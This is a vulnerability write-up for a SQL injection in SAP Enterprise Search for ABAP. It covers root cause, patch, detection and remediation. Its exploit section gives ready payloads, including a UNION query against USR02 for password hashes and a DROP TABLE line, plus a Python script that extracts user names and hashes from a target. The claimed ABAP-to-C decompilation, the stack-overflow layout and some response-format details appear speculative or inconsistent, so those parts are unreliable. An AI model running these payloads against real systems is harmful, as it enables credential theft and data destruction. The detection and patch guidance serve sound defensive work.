CVE-2026-34260: SQL Injection in SAP Enterprise Search for ABAP

Vulnerability Overview

CVE-2026-34260 is a SQL injection vulnerability in SAP Enterprise Search for ABAP, a component of SAP S/4HANA responsible for providing full-text and structured search capabilities across business objects. The vulnerability exists because one or more ABAP function modules or methods that handle search query parameters construct dynamic Open SQL or Native SQL statements through raw string concatenation, bypassing the parameterized query mechanisms that the ABAP runtime provides.

CVSS 9.6 (Critical) reflects high confidentiality and availability impact with no authentication bypass required — the attacker must hold a valid SAP session, but no elevated privilege role is needed beyond basic system access. Integrity is rated unaffected, consistent with a read-path injection where the attacker can SELECT arbitrary data or trigger a database exception but cannot issue UPDATE or INSERT through the vulnerable surface.

Affected Component

The vulnerable code lives inside the SAP Enterprise Search for ABAP layer, specifically the search query execution path. In SAP S/4HANA this is surfaced through:

• ABAP function group ESSA (Enterprise Search ABAP) and its subordinate function modules
• The OData service handler that bridges REST search requests to internal ABAP search methods
• Any ABAP class implementing IF_ESSA_SEARCH_HANDLER that calls the shared query builder

The injection point is within the search token parsing and query assembly routine, referenced here as ESSA_BUILD_DYNAMIC_QUERY. Refer to the NVD entry for the precise affected release matrix.

Root Cause Analysis

ABAP provides two safe mechanisms for dynamic SQL: parameterized ADBC statements (via CL_SQL_STATEMENT) and the OpenSQL @variable binding syntax. The vulnerable function uses neither. Instead it assembles a query string using ABAP string concatenation (&& / CONCATENATE) and passes the result directly to either EXEC SQL (Native SQL) or CL_SQL_STATEMENT=>EXECUTE_QUERY with the full string pre-built — defeating any driver-level parameterization.

The following pseudocode reconstructs the vulnerable ABAP-to-C flow as it would appear after decompilation of the compiled ABAP byte-code layer or its generated C representation in the AS ABAP kernel:

/*
 * Reconstructed pseudocode — ESSA_BUILD_DYNAMIC_QUERY
 * ABAP Function Module: ESSA_EXEC_SEARCH_QUERY
 * Called from: CL_ESSA_SEARCH_HANDLER->EXECUTE
 */

typedef struct {
    char  search_term[512];   // user-supplied, read from HTTP query param "q="
    char  object_type[64];    // partially validated object type filter
    char  client[4];          // SAP client (mandt), numeric — safe
    int   max_hits;           // integer — safe
} essa_search_request_t;

typedef struct {
    char  sql_buffer[2048];   // assembled query string
    void *adbc_stmt_handle;   // CL_SQL_STATEMENT instance pointer
    int   result_count;
} essa_query_ctx_t;

int essa_build_and_exec_query(essa_search_request_t *req, essa_query_ctx_t *ctx) {

    char base_query[] =
        "SELECT OBJECT_KEY, OBJECT_TYPE, DESCRIPTION "
        "FROM ESSA_SEARCH_IDX "
        "WHERE MANDT = '%s' AND OBJECT_TYPE = '%s' "
        "AND DESCRIPTION LIKE '%%%s%%'";

    // BUG: snprintf concatenates req->search_term (attacker-controlled)
    // directly into the SQL string — no escaping, no parameterized binding.
    // An attacker supplies search_term = "' OR '1'='1" or a UNION payload.
    snprintf(
        ctx->sql_buffer,
        sizeof(ctx->sql_buffer),
        base_query,
        req->client,       // safe — numeric, system-set
        req->object_type,  // partially validated but also injectable
        req->search_term   // BUG: fully attacker-controlled, zero sanitization
    );

    // Passes pre-assembled string — driver cannot distinguish
    // literal from parameter at this point.
    return adbc_execute_native_sql(ctx->adbc_stmt_handle, ctx->sql_buffer);
}

The ABAP-layer equivalent, before kernel compilation, looks like this:

/*
 * ABAP source reconstruction (rendered as pseudo-C for readability)
 * Equivalent to the CONCATENATE / && pattern in the original ABAP
 */

// ABAP: CONCATENATE base_sql lv_search_term INTO lv_dynamic_sql.
// ABAP: EXEC SQL. SELECT ... FROM ... WHERE ... &lv_dynamic_sql. ENDEXEC.

char lv_dynamic_sql[2048];
strcat(lv_dynamic_sql, base_sql);
strcat(lv_dynamic_sql, lv_search_term);  // BUG: raw append, no CL_ABAP_DYN_PRG=>ESCAPE_QUOTES
adbc_execute_native_sql(stmt_handle, lv_dynamic_sql);

The critical omission is the absence of a call to CL_ABAP_DYN_PRG=>ESCAPE_QUOTES or CL_ABAP_DYN_PRG=>CHECK_WHITELIST_STR before concatenation, and the failure to use CL_SQL_STATEMENT=>SET_PARAM for bind-variable substitution.

Memory Layout

While this is primarily a logic/injection bug rather than a memory corruption bug, the sql_buffer allocation and the interaction between the query string and the ADBC handle are worth mapping. An oversized injection payload can also overflow sql_buffer if the snprintf truncation is absent or incorrectly bounded in some build variants, transitioning this into a stack buffer overflow:

STACK FRAME — essa_build_and_exec_query()

  HIGH ADDRESS
  ┌──────────────────────────────────┐
  │  saved return address            │  ← target if sql_buffer overflows
  ├──────────────────────────────────┤
  │  saved frame pointer             │
  ├──────────────────────────────────┤
  │  essa_query_ctx_t ctx            │
  │    +0x000  sql_buffer[2048]      │  ← snprintf writes here
  │    +0x800  adbc_stmt_handle ptr  │  ← overwritten if payload > 2048 bytes
  │    +0x808  result_count (int)    │
  ├──────────────────────────────────┤
  │  essa_search_request_t *req ptr  │
  ├──────────────────────────────────┤
  │  local temporaries               │
  LOW ADDRESS

NORMAL WRITE (safe input "invoice"):
  sql_buffer[0..N]  = "SELECT ... LIKE '%invoice%'"   (N < 2048)
  adbc_stmt_handle  = 0x[valid kernel ptr]             INTACT

INJECTION PAYLOAD (search_term = "A"*2000 + "' UNION SELECT..."):
  sql_buffer[0..2047] = [truncated if snprintf used correctly]
  --- if bounds check absent or off-by-one ---
  adbc_stmt_handle    = [attacker data]                CORRUPTED
  saved rip           = [attacker data]                CORRUPTED

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-34260 (SQL Injection, Data Exfiltration path):

1. Attacker authenticates to SAP S/4HANA with any valid user account
   (no special role required — standard dialog user sufficient).

2. Identify the Enterprise Search OData endpoint:
     GET /sap/opu/odata/SAP/ESSA_SEARCH_SRV/SearchSet?$filter=SearchTerm eq ''
   or the equivalent Fiori search bar backed by ESSA_EXEC_SEARCH_QUERY.

3. Craft initial probe payload to confirm injection:
     search_term = "' OR '1'='1
   Observe: result set returns all rows from ESSA_SEARCH_IDX regardless
   of type filter — confirms WHERE clause manipulation.

4. Enumerate database schema via error-based or UNION injection:
     search_term = "' UNION SELECT TABLE_NAME,TABLE_TYPE,'' FROM INFORMATION_SCHEMA.TABLES--
   (Adjust for HANA SQL dialect: SYS.TABLES, column name, schema.)

5. Extract high-value tables (USR02 for password hashes, T000 for clients,
   BSEG for financial line items):
     search_term = "' UNION SELECT BNAME,BCODE,'' FROM USR02 WHERE MANDT='100'--

6. For availability impact — trigger unhandled DB exception causing
   work process dump:
     search_term = "'; DROP TABLE ESSA_SEARCH_IDX;--
   (On HANA: privilege-gated, but malformed SQL causes CX_SY_NATIVE_SQL_ERROR
    exception, killing the work process and degrading search availability.)

7. Exfiltrated data returned in JSON OData response body under "value" array,
   columns mapped positionally to schema of ESSA_SEARCH_IDX result shape.

A minimal Python proof-of-concept for step 3–5:

import requests
from urllib.parse import quote

SESSION_COOKIE = "SAP_SESSIONID_XYZ="
BASE_URL       = "https://target.corp.internal:44300"
ENDPOINT       = "/sap/opu/odata/SAP/ESSA_SEARCH_SRV/SearchSet"

def essa_inject(payload: str) -> dict:
    params = {
        "$filter": f"SearchTerm eq '{payload}'",
        "$format": "json"
    }
    r = requests.get(
        BASE_URL + ENDPOINT,
        params=params,
        headers={"Cookie": SESSION_COOKIE},
        verify=False
    )
    r.raise_for_status()
    return r.json()

# Confirm injection
probe = essa_inject("' OR '1'='1")
print(f"[*] Probe returned {len(probe['d']['results'])} rows")

# UNION-based extraction from USR02 (HANA dialect)
# Columns must match ESSA_SEARCH_IDX result shape (3 columns assumed)
exfil_payload = (
    "' UNION SELECT BNAME,BCODE,ERDAT "
    "FROM USR02 WHERE MANDT='100'--"
)
results = essa_inject(exfil_payload)
for row in results['d']['results']:
    print(f"[+] User: {row['OBJECT_KEY']}  Hash: {row['OBJECT_TYPE']}")

Patch Analysis

The correct fix applies two complementary controls: input allowlist validation via CL_ABAP_DYN_PRG and bind-variable parameterization via CL_SQL_STATEMENT=>SET_PARAM. The patch should eliminate raw concatenation entirely.

// ─── BEFORE (vulnerable) ────────────────────────────────────────────────────
// ABAP: CONCATENATE base_sql lv_search_term INTO lv_dynamic_sql.
// No validation, no escaping.

snprintf(
    ctx->sql_buffer,
    sizeof(ctx->sql_buffer),
    "SELECT ... WHERE DESCRIPTION LIKE '%%%s%%'",
    req->search_term   // BUG: raw attacker input
);
adbc_execute_native_sql(ctx->adbc_stmt_handle, ctx->sql_buffer);


// ─── AFTER (patched) ────────────────────────────────────────────────────────
// 1. Validate search term against allowlist (alphanumeric + safe chars)
// Equivalent to: CL_ABAP_DYN_PRG=>CHECK_WHITELIST_STR(
//                  val = lv_search_term
//                  whitelist = '^[a-zA-Z0-9 \-_.]*$' )

if (essa_validate_search_term(req->search_term) != ESSA_OK) {
    return ESSA_ERR_INVALID_INPUT;   // reject before query assembly
}

// 2. Use parameterized query — search term passed as bind variable,
//    never concatenated into the SQL string.
// Equivalent to: CL_SQL_STATEMENT=>SET_PARAM( data_ref = REF #(lv_search_term) )

const char *param_query =
    "SELECT OBJECT_KEY, OBJECT_TYPE, DESCRIPTION "
    "FROM ESSA_SEARCH_IDX "
    "WHERE MANDT = ? AND OBJECT_TYPE = ? AND DESCRIPTION LIKE ?";

adbc_prepare(ctx->adbc_stmt_handle, param_query);
adbc_bind_param(ctx->adbc_stmt_handle, 1, req->client);       // positional bind
adbc_bind_param(ctx->adbc_stmt_handle, 2, req->object_type);  // positional bind

// Construct LIKE pattern safely — concatenation is now outside SQL context
char like_pattern[516];
snprintf(like_pattern, sizeof(like_pattern), "%%%s%%", req->search_term);
adbc_bind_param(ctx->adbc_stmt_handle, 3, like_pattern);      // positional bind

return adbc_execute_prepared(ctx->adbc_stmt_handle);

Detection and Indicators

SAP Security Audit Log (SM20): Look for events with class DU4 (RFC/HTTP access) and BU4 (report execution) where the search parameter field contains SQL metacharacters: single quotes ('), double dash (--), semicolons, or the keyword UNION.

HANA Trace / SQL Statement Cache: In SAP HANA Studio or M_SQL_PLAN_CACHE, malformed or anomalously long LIKE predicates, unexpected UNION SELECT patterns from the ESSA application user, or query strings sourced from ABAP_APPLICATION_USER that reference non-ESSA tables (e.g., USR02, T000) are strong indicators.

HANA SQL: Query anomaly signatures to alert on:
  - Statement contains UNION.*SELECT from ESSA_APPLICATION_USER context
  - LIKE predicate length > 256 characters
  - Statement references SYS.TABLES or INFORMATION_SCHEMA from ESSA context
  - CX_SY_NATIVE_SQL_ERROR exception bursts in work process logs (SM21)

SAP SM21 Work Process Log — crash indicator:
  Q  DIA  2  ..  Runtime error: DBIF_REPO_SQL_ERROR
     Error text: "SQL error -7 (feature not supported)" or
                 "SQL error -257 (insufficient privilege)"
  Q  DIA  2  ..  ABAP Program: CL_ESSA_SEARCH_HANDLER===========CP

Remediation

• Apply SAP Security Note: Install the SAP Security Note associated with CVE-2026-34260 immediately. Check the SAP Support Portal and the SAP Security Patch Day bulletin for the exact note number and affected release matrix.
• Restrict search endpoint access: Apply authorization object S_TCODE and service-level ACLs to limit which users can invoke ESSA OData services until the patch is deployed.
• Enable SAP Web Dispatcher WAF rules: Block requests where the $filter or q= parameter contains SQL metacharacter sequences (', --, UNION, SELECT).
• Audit custom extensions: Any Z-code or partner add-on that wraps or extends ESSA_EXEC_SEARCH_QUERY should be reviewed for the same concatenation pattern. Use CL_ABAP_DYN_PRG consistently.
• Enable HANA audit policy: Create a HANA audit policy targeting SELECT on USR02, T000, and financial tables initiated by the ABAP application DB user to catch post-exploitation reconnaissance.